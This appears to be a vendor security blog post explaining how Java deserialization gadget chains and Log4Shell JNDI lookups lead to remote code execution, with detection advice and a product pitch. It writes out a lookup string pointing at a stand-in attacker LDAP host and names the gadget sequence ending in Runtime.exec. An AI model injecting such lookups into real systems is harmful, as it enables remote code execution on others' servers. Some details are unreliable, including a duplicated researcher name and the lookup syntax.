Safeguard
Vulnerability Analysis

Java deserialization gadget chains explained

Java deserialization gadget chains turn trusted classpath libraries into RCE. Learn how they work, key CVEs like CVE-2015-4852, and how to detect them.

James
Principal Security Architect
6 min read

A Java deserialization gadget chain is a sequence of otherwise-harmless method calls — pulled from classes already sitting on an application's classpath — that an attacker stitches together to produce arbitrary code execution the moment a malicious object graph is deserialized. No custom bytecode, no injected shellcode: just readObject() walking through classes like InvokerTransformer or TemplatesImpl until one of them calls Runtime.exec(). The technique became mainstream in November 2015 when FoxGlove Security published a chain affecting WebLogic, JBoss, Jenkins, and OpenNMS simultaneously (CVE-2015-4852), all built on the same Apache Commons Collections library. Ten years and dozens of CVEs later — Struts, Jackson-databind, WebLogic's wls9_async component, XStream — gadget chains remain one of the most reliable paths to unauthenticated RCE in Java estates, precisely because the "vulnerability" is really just unsafe deserialization plus a library you already trust.

What Exactly Is a Gadget Chain, Mechanically?

A gadget chain is a chain of type casts and method invocations that Java's deserialization process triggers automatically, with no attacker-controlled code ever loaded onto disk. When ObjectInputStream.readObject() reconstructs an object graph from a byte stream, it doesn't just allocate memory — it calls readObject(), hashCode(), equals(), or finalize() on the nested objects, depending on their type, as part of normal Java semantics. A "gadget" is any class already on the classpath whose one of these auto-invoked methods does something useful to an attacker, such as invoking a method by reflection. Chain enough gadgets together — say, a HashMap whose hashCode() triggers a TiedMapEntry, which triggers a LazyMap, which triggers InvokerTransformer.transform(), which calls Runtime.getRuntime().exec() — and you get command execution from a 200-byte serialized blob. The attacker never uploads a .class file; they upload data, and the victim's own libraries do the rest.

Which CVE Made Gadget Chains a Mainstream Threat?

CVE-2015-4852, disclosed against Oracle WebLogic Server in November 2015, is the CVE that moved gadget chains from academic curiosity to production emergency. Researchers Stephen Breen and Steve Breen's FoxGlove Security team found that WebLogic's wls-wsat web service deserialized untrusted T3 protocol data straight into Commons Collections objects, and because Commons Collections 3.1–3.2.1 shipped InvokerTransformer — a class whose entire purpose is invoking arbitrary methods via reflection — a single POST request yielded root-equivalent RCE with no authentication. The same underlying Commons Collections chain simultaneously compromised JBoss, Jenkins, and OpenNMS because all four products bundled the same vulnerable JAR. Oracle didn't fully patch the WebLogic deserialization surface for years afterward; follow-on bypasses (CVE-2016-0638, CVE-2016-3510, CVE-2017-3506, CVE-2019-2725) kept exploiting new deserialization entry points into the same class of gadgets through at least 2019.

How Many Gadget Chains Actually Exist in the Wild?

Publicly cataloged gadget chains number in the dozens, and the reference tool ysoserial, released by Chris Frohoff and Gabriel Lawrence in 2015, ships more than 20 ready-to-use chains covering Commons Collections 3.1/3.2.1/4.0, Groovy, Spring, Hibernate, JDK 7u21's native AnnotationInvocationHandler, Jython, Click, and Vaadin, among others. Each entry is a distinct sequence of gadget classes tuned to a specific library version, meaning "patch Commons Collections" doesn't close the deserialization hole — it just removes one chain while Groovy, Spring, or a dozen other jars on the same classpath remain viable. This is why deserialization CVEs keep recurring against products that "already fixed" their Commons Collections dependency: CVE-2017-9805 hit Apache Struts through the XStream-based REST plugin, unrelated to Commons Collections entirely, and CVE-2019-12384/CVE-2020-9548 exploited polymorphic type handling in Jackson-databind, a library with no relation to either.

Why Did Log4Shell Bring Gadget Chains Back Into the Headlines?

Log4Shell (CVE-2021-44228, disclosed December 9, 2021) reignited attention on deserialization-adjacent attacks because its JNDI lookup feature let attackers force a victim JVM to fetch and deserialize a remote object over LDAP, effectively delivering a gadget chain over the network without needing an existing serialized-object entry point. Log4j's %jndi:ldap://attacker/a lookup pattern caused the JVM to resolve a reference to an attacker-hosted Java object; if that object was a Reference pointing to a remote factory class, or if the target ran Java 8u121 or earlier (before trustURLCodebase defaulted to false), the JVM would load and instantiate arbitrary attacker code. Within a week of disclosure, Check Point reported over 800,000 exploitation attempts, and it pushed security teams to realize that JNDI injection, XXE-driven deserialization, and classic ObjectInputStream gadget chains are three doors into the same room: a JVM that will happily instantiate and invoke methods on classes it did not choose.

Can You Detect a Gadget Chain Before It's Exploited?

Yes — by identifying which vulnerable classes are actually reachable from a deserialization entry point in your specific application, not just which vulnerable jars are present on the classpath. Static composition analysis (checking whether Commons Collections 3.2.1 or an old Jackson-databind version appears in your dependency tree) flags thousands of theoretically vulnerable services, but most never expose a readObject() call, an XML/JSON deserializer, or an RMI/JMX endpoint that an attacker can actually reach with untrusted input. Tools like the Java serialver inspector and static gadget-chain scanners (e.g., gadgetinspector) can enumerate candidate chains inside a given classpath in minutes, but confirming exploitability still requires tracing the call graph from an HTTP-facing or message-queue-facing entry point down to the vulnerable readObject()/transform() call — the step most SCA tools skip, and the step that separates "CVE present in a jar" from "this service is actually exploitable."

How Safeguard Helps

Safeguard's reachability analysis traces call paths from every network-facing entry point down through the dependency graph to confirm whether a flagged gadget-chain library — Commons Collections, XStream, Jackson-databind, or any of the ysoserial-class offenders — is actually invoked in a path an attacker can reach, cutting through the noise of "vulnerable dependency present but dead code." Griffin AI reviews the surrounding deserialization logic (custom readObject() overrides, Jackson @JsonTypeInfo polymorphic type handling, XStream converters) to explain in plain language why a given chain is or isn't triggerable in your build. Safeguard generates and ingests SBOMs so every JAR carrying a known gadget-chain class is tracked across services automatically as new CVEs land, and where a safe library version or a type-allowlist configuration exists, Safeguard opens an auto-fix pull request rather than leaving the finding for someone to triage manually.

Never miss an update

Weekly insights on software supply chain security, delivered to your inbox.